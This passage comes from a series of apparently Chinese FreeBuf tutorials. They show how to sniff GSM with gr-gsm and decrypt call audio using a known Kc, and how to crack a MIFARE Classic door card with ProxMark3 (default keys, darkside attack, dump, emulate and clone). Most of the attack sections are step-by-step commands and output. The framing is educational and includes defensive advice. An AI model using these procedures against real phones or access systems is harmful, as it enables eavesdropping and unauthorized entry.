  -m CHAN_MODE, --mode=CHAN_MODE
                        Channel mode. Valid options are 'BCCH' (Non-combined
                        C0), 'BCCH_SDCCH4'(Combined C0), 'SDCCH8' (Stand-alone
                        control channel) and 'TCHF' (Traffic Channel, Full
                        rate)
  -t TIMESLOT, --timeslot=TIMESLOT
                        Timeslot to decode [default=0]
  -u SUBSLOT, --subslot=SUBSLOT
                        Subslot to decode. Use in combination with channel
                        type BCCH_SDCCH4 and SDCCH8
  -b BURST_FILE, --burst-file=BURST_FILE
                        Input file (bursts)
  -c CFILE, --cfile=CFILE
                        Input file (cfile)
  -v, --verbose         If set, the decoded messages (with frame number and
                        count) are printed to stdout
  -p, --print-bursts    If set, the raw bursts (with frame number and count)
                        are printed to stdout

  Cfile Options:
    Options for decoding cfile input.

    -f FC, --fc=FC      Frequency of cfile capture  //指定需解码文件的中心频率 (从哪个频率捕获就填多少)
    -a ARFCN, --arfcn=ARFCN  //指定ARFCN 同上,从哪个ARFCN捕获就填多少
                        Set ARFCN instead of frequency. In some cases you may
                        have to provide the GSM band also
    --band=BAND         Specify the GSM band for the frequency. Available
                        bands are: P-GSM, DCS1800, PCS1900, E-GSM, R-GSM,
                        GSM450, GSM480, GSM850.If no band is specified, it
                        will be determined automatically, defaulting to 0.
    -s SAMP_RATE, --samp-rate=SAMP_RATE   //指定采样率,默认1M
                        Sample rate of cfile capture [default=1M]
    --ppm=PPM           Set frequency offset correction [default=0]

  Decryption Options:
    Options for setting the A5 decryption parameters.

    -e A5, --a5=A5      A5 version [default=1]. A5 versions 1 - 3 supported //设定A5加密算法版本
    -k KC, --kc=KC      A5 session key Kc. Valid formats are //设定KC值
                        '0x12,0x34,0x56,0x78,0x90,0xAB,0xCD,0xEF' and
                        '1234567890ABCDEF'

  TCH Options:
    Options for setting Traffic channel decoding parameters.

    -d SPEECH_CODEC, --speech-codec=SPEECH_CODEC
                        TCH-F speech codec [default=FR]. Valid options are FR,
                        EFR, AMR12.2, AMR10.2, AMR7.95, AMR7.4, AMR6.7,
                        AMR5.9, AMR5.15, AMR4.75
    -o SPEECH_OUTPUT_FILE, --output-tch=SPEECH_OUTPUT_FILE //将解密后的文件另存为
                        TCH/F speech output file [default=/tmp/speech.au.gsm].

在接下来的解码案例中,我们以gr-gsm开源项目的测试数据为例:https://github.com/ptrkrysik/test_data

测试数据已知参数如下:

ARFCN:725 
采样率:$((100000000/174))
Kc:0x1E,0xF0,0x0B,0xAB,0x3B,0xAC,0x70,0x02
wget https://github.com/ptrkrysik/test_data/raw/master/vf_call6_a725_d174_g5_Kc1EF00BAB3BAC7002.cfile
mv vf_call6_a725_d174_g5_Kc1EF00BAB3BAC7002.cfile test.cfile
sudo wireshark -i lo
grgsm_decode -a 725 -s $((100000000/174)) -m BCCH -t 0 -c test.cfile

Clipboard Image.png

在Immediate Assignment中,我们可以确定广播控制信道(HCCH)为: SDCCH、Timeslot:1

Clipboard Image.png

使用我们刚刚知道的参数再次解密:

grgsm_decode -a 725 -s $((100000000/174)) -c test.cfile -m SDCCH8 -t 1

Clipboard Image.png

在这一步我们解码出的数据包数量比前几步少了很多,我们可以通过Ciphering Mode Command这一栏的数据包确定A5类型:

A5算法在1989年由法国人开发,用于GSM系统的序列密码算法。
A5它用于对从电话到基站连接的加密,先后开发了三个版本记作A5/1、A5/2、A5/3,如果没有特别说明,通常所说的A5是指A5/1。

Clipboard Image.png

确定了加密算法,再次执行解密脚本:

grgsm_decode -a 725 -s $((100000000/174)) -c test.cfile -m SDCCH8 -t 1 -e 1 -k 0x1E,0xF0,0x0B,0xAB,0x3B,0xAC,0x70,0x02

在cc Setup这一项,可以看到来电号码:

Clipboard Image.png

Assignment Command一栏信息如下:

Clipboard Image.png

在上面这幅图中我们确定了 CHAN_MODE 为TCHF,Timeslot为5,有了这些信息,我们便能从捕获到的文件中提取出通话语音,其效果类似于通话监听:

grgsm_decode -a 725 -s $((100000000/174)) -c test.cfile -m TCHF -t 5 -e 1 -k 0x1E,0xF0,0x0B,0xAB,0x3B,0xAC,0x70,0x02 -d FR -o /tmp/test.au.gsm

Clipboard Image.png

进入/tmp缓存目录中,已经可以发现一个音频文件了:

Clipboard Image.png

安装VLC播放器:

sudo apt-get install vlc-nox
vlc  /tmp/test.au.gsm

Clipboard Image.png

耳机了传来歪果仁酸爽“test”的声音。解码出音频的文件:https://pan.baidu.com/s/1i5jn1A1

0x05 refer

Voice Decryption 语音解密
SMS Decryption 短信解密

SMS text messeges and voice calls sniffing

*本文作者:雪碧0xroot@漏洞盒子安全团队,转载须注明来自FreeBuf黑客与极客(FreeBuf.COM)

GSM Hacking Part ① :使用SDR扫描嗅探GSM网络

http://www.freebuf.com/articles/wireless/110773.html

作者:雪碧0xroot@漏洞盒子安全团队

GSM Hacking

0x00 前言

近期,发现Crazy Danish Hacker在YouTuBe发布了一个挺不错的教程视频:使用SDR嗅探监听GSM网络的通信流量(GSM Sniffing Teaser – Software Defined Radio Series)。该教程从电视棒的安装到扫描、嗅探工具的使用、GSM流量包的捕获解密都有详细说明演示:

http://v.qq.com/iframe/player.html?vid=u0317s0mw3n

作为搬运工,在这里将分两三部分参考&总结一下该教程的主要内容,输出一篇中文教程,希望能够给对这方面感兴趣的童鞋带来一定帮助。

0x01 环境搭建

OS:GNU Radio LiveCD

HardWare:电视棒(rtl-sdr)、HackRF、Bladerf 均可

1.安装编译依赖包

sudo apt-get install git cmake libboost-all-dev libcppunit-dev swig doxygen liblog4cpp5-dev python-scipy

2.编译gr-gsm

git clone https://github.com/ptrkrysik/gr-gsm.git
cd gr-gsm
mkdir build
cd build
cmake ..
make
sudo make install
sudo ldconfig 

3.编译kalibrate

kalibrate-hackrf (HackRF用户)

git clone https://github.com/scateu/kalibrate-hackrf.git
cd kalibrate-hackrf
./bootstrap
./configure
make
sudo make install

kalibrate-rtl(电视棒用户)

git clone https://github.com/steve-m/kalibrate-rtl.git
cd kalibrate-hackrf
./bootstrap
./configure
make
sudo make install

0x01 扫描基站

1.1 kal

kal 
error: must enter channel or frequency
kalibrate v0.4.1-hackrf, Copyright (c) 2010, Joshua Lackey
modified for use with hackrf devices, Copyright (c) 2014, scateu@gmail.com
Usage:
    GSM Base Station Scan:
        kal <-s band indicator> [options]

    Clock Offset Calculation:
        kal <-f frequency | -c channel> [options]

Where options are:
    -s    band to scan (GSM850, GSM-R, GSM900, EGSM, DCS, PCS) //指定扫描的网络类型&频段
    -f    frequency of nearby GSM base station
    -c    channel of nearby GSM base station
    -b    band indicator (GSM850, GSM-R, GSM900, EGSM, DCS, PCS)
    -a    rf amplifier enable
    -g    vga (bb) gain in dB, 0-40dB, 8dB step
    -l    lna (if) gain in dB, 0-62dB, 2dB step
    -d    rtl-sdr device index
    -e    initial frequency error in ppm
    -E    manual frequency offset in hz
    -v    verbose
    -D    enable debug messages
    -h    help

kal -s GSM900 -g 40 -l 40 //扫描GSM900频段

Clipboard Image.png

1.2 gr-gsm (HackRF、BladeRF)

在编译完成的gr-gsm项目中,App目录里有用于扫描、解码gsm流量的脚本:

Clipboard Image.png

Clipboard Image.png

1.3 Bladerf 配合 SDR-sharp

通过上述方式,我们获取到了基站的一些参数信息,如:中心频率、信道、ARFCN值、LAC、MCC、MNC值等。这为我们接下来的工作提供了便利。那么windows用户有其它方式来确定基站的中心频率么?
Windows用户可通过SDR-sharp的瀑布图来确认基站的工作频率,由于HackRF性能问题,查看GSM频率时瀑布图效果不明显,所以我这里用BladeRF来实现这需求。由于SDR-sharp默认不支持BladeRF硬件,首先我们需为其安装硬件驱动,详情可参考:https://github.com/jmichelp/sdrsharp-bladerf

复制Release目录中的SDRSharp.BladeRF.dll到SDR主目录;

复制GitHub项目中的LibBladeRF目录下所有dll文件到SDR主目录;
在FrontEnds.xml文件增加

<add key="BladeRF" value="SDRSharp.BladeRF.BladeRFIO,SDRSharp.BladeRF" />

Clipboard Image.png

Clipboard Image.png

在SDR-sharp中加载BladeRF的FPGA固件:

Clipboard Image.png

最终效果:

CnSzzAMUAAAttef.jpg

0x02 Sniffer 嗅探

通过扫描我们获取到了基站的中心频率、信道、ARFCN值、LAC、MCC、MNC值等参数信息:

Clipboard Image.png

上图表明在937.4MHz、940.4MHz这两个中心频率发现GSM基站信号。

ubuntu@ubuntu:~/gr-gsm/apps$ ls
CMakeLists.txt  grgsm_livemon      grgsm_livemon.py  helpers
grgsm_decode    grgsm_livemon.grc  grgsm_scanner     README

ubuntu@ubuntu:~/gr-gsm/apps$ grgsm_livemon -h
linux; GNU C++ version 4.8.4; Boost_105400; UHD_003.010.git-197-g053111dc

Usage: grgsm_livemon: [options]

Options:
  -h, --help            show this help message and exit
  --args=ARGS           Set Device Arguments [default=]
  -f FC, --fc=FC        Set fc [default=939.4M]
  -g GAIN, --gain=GAIN  Set gain [default=30]
  -p PPM, --ppm=PPM     Set ppm [default=0]
  -s SAMP_RATE, --samp-rate=SAMP_RATE
                        Set samp_rate [default=2M]
  -o SHIFTOFF, --shiftoff=SHIFTOFF
                        Set shiftoff [default=400k]
  --osr=OSR             Set OSR [default=4]

我们来嗅探一下937.4MHz的基站:

grgsm_livemon -f 937.4

Clipboard Image.png

右侧终端显示成功捕获到了基站通信数据包。

0x03 Decode解密

3.1 安装WireShark

apt-get install wireshark

3.2 嗅探&解密

ubuntu@ubuntu:~/gr-gsm/apps$ ls
CMakeLists.txt  grgsm_livemon      grgsm_livemon.py  helpers
grgsm_decode    grgsm_livemon.grc  grgsm_scanner     README

ubuntu@ubuntu:~/gr-gsm/apps$ gnuradio-companion grgsm_livemon.grc

Clipboard Image.png

执行GRC流图:

Clipboard Image.png

sudo wireshark -k -Y 'gsmtap && !icmp' -i lo

捕获到的数据包如下:

Clipboard Image.png

解密方式可先参考GitHub:

Usage: Decoding How To · ptrkrysik/gr-gsm Wiki
Decoding-hopping-channels
在文章第二部分内容中,我们将使用鉴权后分配临时识别码 TMSI、KC对捕获到的GSM通信数据包进行解密。

第三部分,我们将根据gr-lte开源项目来讨论分析4G LTE基站的安全问题。(the gr-lte project is an Open Source Software Package which aims to provide a GNU Radio LTE Receiver to receive, synchronize and decode LTE signals.)

0x04 refer

https://github.com/ptrkrysik/gr-gsm/wiki/Usage

https://z4ziggy.wordpress.com/2015/05/17/sniffing-gsm-traffic-with-hackrf/

GSM Sniffing: Kalibrate-RTL Usage – Software Defined Radio Series #5

GSM Sniffing: Installing GR-GSM – Software Defined Radio Series #7

GSM Sniffing: Using GR-GSM – Software Defined Radio Series #8

*本文作者:雪碧0xroot@漏洞盒子安全团队,转载须注明来自FreeBuf黑客与极客(FreeBuf.COM)

RFID Hacking ④:ProxMark3 破解门禁

pm3

文中提及的部分技术可能带有一定攻击性,仅供安全学习和教学用途,禁止非法使用!

0x00 前言

国际黑客大会Defcon传统之一:开锁!因为黑客认为锁也是一种安全挑战。我们在黑客题材电影、电视剧中也常常看到:男主女主利用高超的黑客技能侵入目标公司的网络,甚至利用社会工程学突破门禁防护潜入对方办公地点进行物理攻击,如入无人之境。(神盾局、黑客军团、Who am i 貌似都有类似情节)

Clipboard Image.png

北上广不相信眼泪 16集

在这一背景下,我们不经思考:门禁系统作为企业物理第一道屏障,这些硬件基础设施安全是否一直都被忽视?

0x01 准备工作

Linux、Windows环境搭建可参考:RFID Hacking②:PM3入门指南 一文。

Clipboard Image.png

1.1 进入PM3工作终端

./proxmark3 /dev/ttyACM0

1.2 测试天线

proxmark3> hw tune

# LF antenna: 29.98 V @   125.00 kHz          
# LF antenna: 30.39 V @   134.00 kHz          
# LF optimal: 36.30 V @   129.03 kHz          
# HF antenna: 27.90 V @    13.56 MHz          
proxmark3> 

1.3 设备固件

proxmark3> hw ver
#db# Prox/RFID mark3 RFID instrument                 
#db# bootrom: /-suspect 2015-04-02 15:12:04                 
#db# os: /-suspect 2015-04-02 15:12:11                 
#db# HF FPGA image built on 2015/03/09 at 08:41:42    

0x02 爆破&枚举秘钥

2.1 读取卡片

proxmark3> hf 14a reader
ATQA : 04 00          
 UID : 2c f0 55 0b           
 SAK : 08 [2]          
TYPE : NXP MIFARE CLASSIC 1k | Plus 2k SL1          
proprietary non iso14443a-4 card found, RATS not supported 

2.2 执行NESTED攻击,枚举&爆破key:

proxmark3> hf mf chk *1 ? t
No key specified,try default keys          
chk default key[0] ffffffffffff          
chk default key[1] 000000000000          
chk default key[2] a0a1a2a3a4a5          
chk default key[3] b0b1b2b3b4b5          
chk default key[4] aabbccddeeff          
chk default key[5] 4d3a99c351dd          
chk default key[6] 1a982c7e459a          
chk default key[7] d3f7d3f7d3f7          
chk default key[8] 714c5c886e97          
chk default key[9] 587ee5f9350f          
chk default key[10] a0478cc39091          
chk default key[11] 533cb6c723f6          
chk default key[12] 8fd0a4f256e9          
--SectorsCnt:0 block no:0x03 key type:A key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:1 block no:0x07 key type:A key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:2 block no:0x0b key type:A key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:3 block no:0x0f key type:A key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:4 block no:0x13 key type:A key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:5 block no:0x17 key type:A key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:6 block no:0x1b key type:A key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:7 block no:0x1f key type:A key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:8 block no:0x23 key type:A key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:9 block no:0x27 key type:A key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:10 block no:0x2b key type:A key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:11 block no:0x2f key type:A key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:12 block no:0x33 key type:A key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:13 block no:0x37 key type:A key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:14 block no:0x3b key type:A key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:15 block no:0x3f key type:A key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:0 block no:0x03 key type:B key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:1 block no:0x07 key type:B key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:2 block no:0x0b key type:B key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:3 block no:0x0f key type:B key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:4 block no:0x13 key type:B key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:5 block no:0x17 key type:B key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:6 block no:0x1b key type:B key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:7 block no:0x1f key type:B key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:8 block no:0x23 key type:B key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:9 block no:0x27 key type:B key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:10 block no:0x2b key type:B key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:11 block no:0x2f key type:B key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:12 block no:0x33 key type:B key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:13 block no:0x37 key type:B key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:14 block no:0x3b key type:B key count:13           
Found valid key:[ffffffffffff]          
--SectorsCnt:15 block no:0x3f key type:B key count:13           
Found valid key:[ffffffffffff]          
proxmark3> 

成功获得卡片key。

2.3 利用PRNG漏洞,执行mifare “DarkSide”攻击

proxmark3> hf mf mifare
-------------------------------------------------------------------------
Executing command. Expected execution time: 25sec on average  :-)
Press the key on the proxmark3 device to abort both proxmark3 and client.
-------------------------------------------------------------------------

uid(2cf0550b) nt(218e1cd8) par(0000000000000000) ks(090a070d060b0501) nr(00000000)

|diff|{nr}    |ks3|ks3^5|parity         |
+----+--------+---+-----+---------------+
| 00 |00000000| 9 |  c  |0,0,0,0,0,0,0,0|
| 20 |00000020| a |  f  |0,0,0,0,0,0,0,0|
| 40 |00000040| 7 |  2  |0,0,0,0,0,0,0,0|
| 60 |00000060| d |  8  |0,0,0,0,0,0,0,0|
| 80 |00000080| 6 |  3  |0,0,0,0,0,0,0,0|
| a0 |000000a0| b |  e  |0,0,0,0,0,0,0,0|
| c0 |000000c0| 5 |  0  |0,0,0,0,0,0,0,0|
| e0 |000000e0| 1 |  4  |0,0,0,0,0,0,0,0|
parity is all zero,try special attack!just wait for few more seconds...          
key_count:0
Key not found (lfsr_common_prefix list is null). Nt=218e1cd8          
Failing is expected to happen in 25% of all cases. Trying again with a different reader nonce...          

uid(2cf0550b) nt(218e1cd8) par(0000000000000000) ks(0d0407030d070c04) nr(00000001)

|diff|{nr}    |ks3|ks3^5|parity         |
+----+--------+---+-----+---------------+
| 00 |00000001| d |  8  |0,0,0,0,0,0,0,0|
| 20 |00000021| 4 |  1  |0,0,0,0,0,0,0,0|
| 40 |00000041| 7 |  2  |0,0,0,0,0,0,0,0|
| 60 |00000061| 3 |  6  |0,0,0,0,0,0,0,0|
| 80 |00000081| d |  8  |0,0,0,0,0,0,0,0|
| a0 |000000a1| 7 |  2  |0,0,0,0,0,0,0,0|
| c0 |000000c1| c |  9  |0,0,0,0,0,0,0,0|
| e0 |000000e1| 4 |  1  |0,0,0,0,0,0,0,0|
parity is all zero,try special attack!just wait for few more seconds...          
key_count:0
Key not found (lfsr_common_prefix list is null). Nt=218e1cd8          
Failing is expected to happen in 25% of all cases. Trying again with a different reader nonce...          

uid(2cf0550b) nt(218e1cd8) par(0000000000000000) ks(0d040e0e0c010e00) nr(00000002)

|diff|{nr}    |ks3|ks3^5|parity         |
+----+--------+---+-----+---------------+
| 00 |00000002| d |  8  |0,0,0,0,0,0,0,0|
| 20 |00000022| 4 |  1  |0,0,0,0,0,0,0,0|
| 40 |00000042| e |  b  |0,0,0,0,0,0,0,0|
| 60 |00000062| e |  b  |0,0,0,0,0,0,0,0|
| 80 |00000082| c |  9  |0,0,0,0,0,0,0,0|
| a0 |000000a2| 1 |  4  |0,0,0,0,0,0,0,0|
| c0 |000000c2| e |  b  |0,0,0,0,0,0,0,0|
| e0 |000000e2| 0 |  5  |0,0,0,0,0,0,0,0|
parity is all zero,try special attack!just wait for few more seconds...          
p1:0 p2:0 p3:0 key:ffffffffffff
p1:29e5f p2:18a2b p3:1 key:b8b2a3c07af9
p1:2ba97 p2:19a40 p3:2 key:b5ba0002b5ea
p1:2c3fd p2:19fb9 p3:3 key:b4b979ba49de
p1:3de0e p2:24775 p3:4 key:968a7a09c714
p1:3fdf4 p2:25a7a p3:5 key:931b36c268ed
p1:54f81 p2:32426 p3:6 key:6ecaf371a99d
p1:58b75 p2:34777 p3:7 key:6860b744915b
p1:616dd p2:3998a p3:8 key:59747d7fdf41
p1:63400 p2:3ab54 p3:9 key:56476bbef406
p1:64ae0 p2:3b844 p3:a key:53dc6ee57a91
p1:6dc19 p2:40e78 p3:b key:44554ae362a1
p1:708f8 p2:42956 p3:c key:3f83eb143dd6
p1:7abf0 p2:48987 p3:d key:2e2b8565f96b
p1:7b298 p2:48d82 p3:e key:2d70e3e38553
p1:8420b p2:4e219 p3:f key:1e238b63e204
p1:8ce60 p2:53484 p3:10 key:0f4b7cb380a5
key_count:17
------------------------------------------------------------------
Key found:ffffffffffff 

Found valid key:ffffffffffff          
proxmark3> 

通过这一方式,同样可以获得卡片的key,不过很多时候还是要靠运气,因为不是所有的卡片都存在这种漏洞。如果不存在PRNG漏洞,我们则需要通过嗅探卡片和读卡器之间通信的数据包解出卡片的Key。

使用PM3进行中间人攻击嗅探通信数据包的方法可参考:【RFID Hacking③】ProxMark3使用案例:嗅探银行闪付卡信息 ,以及RadioWar团队的 利用Proxmark3监听M1卡交互过程,算出某一区的key

0x03 dump卡片数据&数据处理

使用上述方法,我们成功获得卡片key,接下来我们便可以使用key导出卡片中的所有数据(dumpdata)

proxmark3> hf mf nested 1 0 A ffffffffffff d 
--block no:00 key type:00 key:ff ff ff ff ff ff  etrans:0          
Block shift=0          
Testing known keys. Sector count=16          
nested...          
Time in nested: 0.030 (inf sec per key)

-----------------------------------------------
Iterations count: 0

|---|----------------|---|----------------|---|          
|sec|key A           |res|key B           |res|          
|---|----------------|---|----------------|---|          
|000|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|001|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|002|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|003|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|004|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|005|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|006|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|007|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|008|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|009|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|010|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|011|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|012|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|013|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|014|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|015|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|---|----------------|---|----------------|---|          
Printing keys to bynary file dumpkeys.bin...          
proxmark3> 

在这一过程中,在PM3当前工作目录下生成了dumpkey.bin文件:

Clipboard Image.png

接下来我们执行hf mf dump便能获得整张卡片的数据:

proxmark3> hf mf dump
|-----------------------------------------|          
|------ Reading sector access bits...-----|          
|-----------------------------------------|          
Command execute timeout          
Sending bytes to proxmark failed          
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
|-----------------------------------------|          
|----- Dumping all blocks to file... -----|          
|-----------------------------------------|          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
proxmark3> 

此时,卡片数据已经被导出到PM3主目录下的dumpdata.bin这个二进制文件中,:

Clipboard Image.png

但是PM3并不能识别、使用二进制文件,我们还需要使用脚本将这个二进制文件转换成.eml格式的文本信息:

proxmark3> script run dumptoemul.lua 
--- Executing: ./scripts/dumptoemul.lua, args''
Wrote an emulator-dump to the file 2CF0550B.eml

-----Finished
proxmark3> 

dumptoemul脚本成功将dumpdata.bin二进制文件转换成以卡片ID值命名的eml格式文件:

eml

我们来对比一下这两个文件:

cat

效果已经很明显了,脚本已经将乱码的二进制文件转换成了txt文本信息。

dumptoemul.lua脚本的功能也可以用Python语言来实现:bin2txet.py

#!/usr/bin/python
from __future__ import with_statement
import sys
import binascii

READ_BLOCKSIZE = 16

def main(argv):
    argc = len(argv)
    if argc < 3:
        print 'Usage:', argv[0], 'dumpdata.bin output.txt'
        sys.exit(1)

    with file(argv[1], "rb") as file_inp, file(argv[2], "w") as file_out:
        while True:
            byte_s = file_inp.read(READ_BLOCKSIZE)
            if not byte_s:
                break
            hex_char_repr = binascii.hexlify(byte_s)
            file_out.write(hex_char_repr)
            file_out.write("\n")

if __name__ == '__main__':
    main(sys.argv)

python bin2text.py dumpdata.bin output.txt
mv output.txt 2CF0550B.eml

清除仿真内存的各区块数据:

hf mf eclr 

把从卡片中导出的数据加载到PM3设备中:

proxmark3> hf mf eload 2CF0550B       
Loaded 64 blocks from file: 2CF0550B.eml  

使用PM3模拟门禁卡:

proxmark3> hf mf sim
 uid:N/A, numreads:0, flags:0 (0x00)           
#db# 4B UID: 2CF0550B              
proxmark3> 

这时我们可以使用PM3来实现通过门禁。另外一种方式:把从卡片导出的数据从PM3设备内存中克隆到白卡里,使用克隆卡片通过门禁

proxmark3> hf mf cload e         
Cant get block: 1

bingo

0x04 安全建议

目前我国80%的门禁产品均是采用原始IC卡的UID号或ID卡的ID号去做门禁卡,没有去进行加密认证或开发专用的密钥,其安全隐患远比Mifare卡的破解更危险,非法破解的人士只需采用专业的技术手段就可以完成破解过程。

门禁厂商、管理员:做好防护工作加强安全意识,尽量避免使用默认key、安全性低的key;对卡片和门禁读卡器使用身份认证&验证机制,绝对不能直接使用原始IC卡的UID号或ID卡的ID号去做门禁卡!

用户:妥善保管自己的门禁卡,避免信息泄露。
物联网IOT的高速发展,无线通信技术的应用也日趋广泛。本文仅通过门禁系统案例揭露NFC、RFID相关协议&技术存在的一些安全隐患。

